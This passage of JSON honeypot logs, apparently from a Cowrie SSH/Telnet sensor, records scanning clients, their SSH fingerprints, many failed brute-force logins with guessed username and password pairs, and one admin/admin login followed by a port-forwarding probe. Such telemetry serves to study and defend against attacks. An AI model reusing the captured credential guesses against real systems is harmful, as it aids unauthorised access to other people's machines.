-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:10.775162Z","src_ip":"103.183.114.55","session":"4dcc66c55f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"armani","message":"login attempt [root/armani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:11.455325Z","src_ip":"103.183.114.55","session":"4dcc66c55f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"coolboy","message":"login attempt [user/coolboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:11.602626Z","src_ip":"2.57.121.25","session":"2b6e9d161551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:12.687848Z","src_ip":"103.183.114.55","session":"4dcc66c55f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:12.705049Z","src_ip":"2.57.121.25","session":"2b6e9d161551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42166,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd80c490adb7","protocol":"telnet","message":"New connection: 50.6.8.71:42166 (10.17.0.5:23) [session: fd80c490adb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:15.152710Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":57544,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22bd2febbea","protocol":"telnet","message":"New connection: 23.94.28.189:57544 (10.17.0.5:23) [session: b22bd2febbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:15.308850Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53788,"dst_ip":"10.17.0.5","dst_port":22,"session":"11e8492aa3f8","protocol":"ssh","message":"New connection: 2.57.122.238:53788 (10.17.0.5:22) [session: 11e8492aa3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:16.638231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:16.642796Z","src_ip":"2.57.122.238","session":"11e8492aa3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:16.745224Z","src_ip":"2.57.122.238","session":"11e8492aa3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:17.042492Z","src_ip":"2.57.122.238","session":"11e8492aa3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:18.144971Z","src_ip":"2.57.122.238","session":"11e8492aa3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":41100,"dst_ip":"159.203.135.109","dst_port":22,"session":"69443a6024bc","protocol":"ssh","message":"New connection: 87.106.29.151:41100 (159.203.135.109:22) [session: 69443a6024bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:18.703710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:18.707675Z","src_ip":"87.106.29.151","session":"69443a6024bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:18.799278Z","src_ip":"87.106.29.151","session":"69443a6024bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warnightkardesim","message":"login attempt [root/warnightkardesim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:19.197924Z","src_ip":"87.106.29.151","session":"69443a6024bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:20.292750Z","src_ip":"87.106.29.151","session":"69443a6024bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36984,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf6c8ddac769","protocol":"telnet","message":"New connection: 50.6.8.71:36984 (10.17.0.5:23) [session: cf6c8ddac769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:23.192315Z"}
{"eventid":"cowrie.session.closed","duration":31.2360897064209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:25.454643Z","src_ip":"50.6.8.71","session":"6888ebaf3e3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.157442331314087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:29.243521Z","src_ip":"50.6.8.71","session":"76eed24491b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.248","src_port":60820,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5f0e958201","protocol":"ssh","message":"New connection: 31.57.184.248:60820 (10.17.0.5:22) [session: 6c5f0e958201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:32.404279Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:32.409246Z","src_ip":"31.57.184.248","session":"6c5f0e958201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.248","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dfe4f0d9031","protocol":"ssh","message":"New connection: 31.57.184.248:60826 (10.17.0.5:22) [session: 4dfe4f0d9031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:32.537941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:32.542634Z","src_ip":"31.57.184.248","session":"4dfe4f0d9031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:32.644983Z","src_ip":"31.57.184.248","session":"4dfe4f0d9031","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:32.994792Z","src_ip":"31.57.184.248","session":"4dfe4f0d9031","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.184.248","dst_port":80,"src_ip":"31.57.184.248","src_port":5555,"message":"direct-tcp connection request to 31.57.184.248:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:33.112019Z","session":"4dfe4f0d9031","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.184.248","dst_port":80,"data":"b'9Rck8BGv8xlHU5lEmul4Hio0NLti72VHZeXC68NFM9d9fnduiY'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.184.248:80 with data b'9Rck8BGv8xlHU5lEmul4Hio0NLti72VHZeXC68NFM9d9fnduiY'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:33.215734Z","src_ip":"31.57.184.248","session":"4dfe4f0d9031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:33.323041Z","src_ip":"31.57.184.248","session":"4dfe4f0d9031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54148,"dst_ip":"10.17.0.5","dst_port":23,"session":"57cc346cc1c6","protocol":"telnet","message":"New connection: 50.6.8.71:54148 (10.17.0.5:23) [session: 57cc346cc1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:34.310235Z"}
{"eventid":"cowrie.session.closed","duration":31.770039319992065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:41.091659Z","src_ip":"50.6.8.71","session":"341d36ff1e0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82989501953125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:45.982454Z","src_ip":"50.6.8.71","session":"fd80c490adb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.46165990829468,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:52.770367Z","src_ip":"23.94.28.189","session":"b22bd2febbea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.773537158966064,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:56.965702Z","src_ip":"50.6.8.71","session":"cf6c8ddac769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":54700,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ca6eac3ba5","protocol":"ssh","message":"New connection: 103.173.227.57:54700 (159.203.135.109:22) [session: a3ca6eac3ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:05.201201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:05.205969Z","src_ip":"103.173.227.57","session":"a3ca6eac3ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:05.444589Z","src_ip":"103.173.227.57","session":"a3ca6eac3ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vepsrf","message":"login attempt [root/vepsrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:06.162050Z","src_ip":"103.173.227.57","session":"a3ca6eac3ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:07.403592Z","src_ip":"103.173.227.57","session":"a3ca6eac3ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.931684732437134,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:09.241822Z","src_ip":"50.6.8.71","session":"57cc346cc1c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":48946,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd4c94e0a641","protocol":"ssh","message":"New connection: 176.32.39.21:48946 (10.17.0.5:22) [session: cd4c94e0a641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:17.980954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:18.407893Z","src_ip":"176.32.39.21","session":"cd4c94e0a641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:18.429906Z","src_ip":"176.32.39.21","session":"cd4c94e0a641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:19.166586Z","src_ip":"176.32.39.21","session":"cd4c94e0a641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:20.289772Z","src_ip":"176.32.39.21","session":"cd4c94e0a641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00267505645752,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:27.976327Z","src_ip":"24.104.190.72","session":"8200c89b152b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47048,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1b0f16ce1b5","protocol":"ssh","message":"New connection: 87.106.29.151:47048 (159.203.135.109:22) [session: d1b0f16ce1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:29.921531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:29.925858Z","src_ip":"87.106.29.151","session":"d1b0f16ce1b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:30.022844Z","src_ip":"87.106.29.151","session":"d1b0f16ce1b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2!@","message":"login attempt [root/1qazxsw2!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:30.443706Z","src_ip":"87.106.29.151","session":"d1b0f16ce1b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:31.547009Z","src_ip":"87.106.29.151","session":"d1b0f16ce1b5","protocol":"ssh"}
